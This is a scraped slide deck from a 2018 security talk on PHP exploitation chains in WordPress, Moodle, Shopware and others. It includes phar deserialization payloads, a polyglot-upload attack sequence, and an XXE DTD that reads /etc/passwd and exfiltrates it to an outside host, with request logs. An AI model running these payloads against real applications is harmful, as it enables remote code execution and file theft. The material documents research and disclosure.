New PHP Exploitation Techniques
Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018
New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 - - PowerPoint PPT Presentation
New PHP Exploitation Techniques Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018 Intro Johannes Dahse Capture The Flag, 5 years Security Consultant, 5 years Developer RIPS open source (2009-2013) Ph.D. Static Code Analysis @
Johannes Dahse, PHP.RUHR 2018 Dortmund, Germany, 08.11.2018
Johannes Dahse Capture The Flag, 5 years Security Consultant, 5 years Developer RIPS open source (2009-2013) Ph.D. Static Code Analysis @ Ruhr-University Bochum (2013-2016) Co-Founder RIPS Technologies GmbH (since 2016) @FluxReiners blog.ripstech.com
Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE
Phar:// Deserialization WooCommerce: File Delete to RCE WordPress: File Delete to RCE Moodle: Code Injection to RCE Prestashop: Object Injection to RCE LimeSurvey: pXSS to File Write to RCE wooCommerce: SQLi to POI to RCE Joomla!: Second-Order SQLi to RCE CubeCart: SQLi to RCE Shopware: POI to XXE to RCE
https://blog.ripstech.com/2018/moodle-remote-code-execution/
public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval('$str = ' . $formula . ';'); // $str = exec($_GET[0]); return $str; } function find_formula_errors($formula) { while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)) { $formula = str_replace($regs[0], '1', $formula); } // check formula }
public function substitute_variables_and_eval($str) { // replace {x} and {y} with numbers like 1.2 $formula = $this->substitute_variables($str); if ($error = find_formula_errors($formula)) { return $error; } eval('$str = ' . $formula . ';'); return $str; } function find_formula_errors($formula) { while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)) { $formula = str_replace($regs[0], '1', $formula); } // check formula }
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Video: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
WordPress Author role required, but:
https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
WooCommerce Privileges:
The Design Flaw:
Video: https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
https://blog.ripstech.com/2018/new-php-exploitation-technique/
URL-style wrappers allowed in PHP file operations, e.g. data://, zlib://, php:// Often used for PHP file inclusion: include($_GET["filename"]); What about other wrappers, like phar:// ? Credits: Sam Thomas from Secarma
?filename=php://filter/convert.base64-encode/resource=index.php ?filename=data://text/plain;base64,cGhwaW5mbygpCg==
PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!
PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!
// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();
PHP Archive Files Put entire PHP application into single file Meta data is stored in serialized form!
// create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // add object of any class as meta data class AnyClass {} $object = new AnyClass; $object->data = 'rips'; $phar->setMetadata($object); $phar->stopBuffering();
Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection
class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar
Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists
class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar
Any file operation allows phar:// On access, Phar meta data is unserialize()‘d ➔ PHP Object Injection ➔ Polyglot JPG/PHAR exists
class File { function __destruct() { unlink($this->data); } } // output: rips include( $_GET[filename] ); ?filename=phar://test.phar
1. Inject serialized object into a phar file 2. Obfuscate phar file as avatar.jpg 3. Upload avatar.jpg to application 4. Exploit phar deserialization: index.php?filename=phar://../uploads/avatar.jpg
include('phar://test.phar'); file_get_contents('phar://test.phar'); file_put_contents('phar://test.phar', ''); copy('phar://test.phar', '');
include('phar://test.phar'); file_get_contents('phar://test.phar'); file_put_contents('phar://test.phar', ''); copy('phar://test.phar', ''); file_exists('phar://test.phar'); is_executable('phar://test.phar'); is_file('phar://test.phar'); is_dir('phar://test.phar'); is_link('phar://test.phar'); is_writable('phar://test.phar‘); fileperms('phar://test.phar'); fileinode('phar://test.phar'); filesize('phar://test.phar'); fileowner('phar://test.phar'); filegroup('phar://test.phar'); fileatime('phar://test.phar'); filemtime('phar://test.phar'); filectime('phar://test.phar'); filetype('phar://test.phar'); getimagesize('phar://test.phar'); exif_read_data('phar://test.phar'); stat('phar://test.phar'); lstat('phar://test.phar'); touch('phar://test.phar‘); md5_file('phar://test.phar');
https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
PHP Object Instantiation != PHP Object Injection
class Shopware_Controllers_Backend_ProductStream { public function loadPreviewAction() { $sorting = $this->Request()->getParam('sort'); $streamRepo->unserialize($sorting); } }
An attacker can instantiate PHP objects of arbitrary classes
class LogawareReflectionHelper { public function unserialize($serialized) { foreach($serialized as $className => $arguments) { $reflectionClass = new \ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }
An attacker can instantiate PHP objects of arbitrary classes Invoke __construct(), __destruct(), __call(), but what if no interesting magic methods in code base?
class LogawareReflectionHelper { public function unserialize($serialized) { foreach($serialized as $className => $arguments) { $reflectionClass = new \ReflectionClass($className); $classes[] = $reflectionClass->newInstanceArgs($arguments); } } }
Instantiate object of a PHP built-in class
SimpleXMLElement::__construct ( $data = "https://ripstech.com/xxe.xml", $options = LIBXML_NOENT, // enable substitution of entities $data_is_url = true )
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.xml HTTP/1.0" 200 - 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 - 1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /?cm9vdDp4mF....== HTTP/1.0" 200 -
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "phar://tmp/session_123123123"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
https://ripstech.com/xxe.xml https://ripstech.com/xxe.dtd
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd"> %sp; %param1; ]> <r>&exfil;</r> <!ENTITY % data SYSTEM "phar://tmp/session_123123123"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
XSS → POI → XMLi → XXE → PHAR → POI → POP → RCE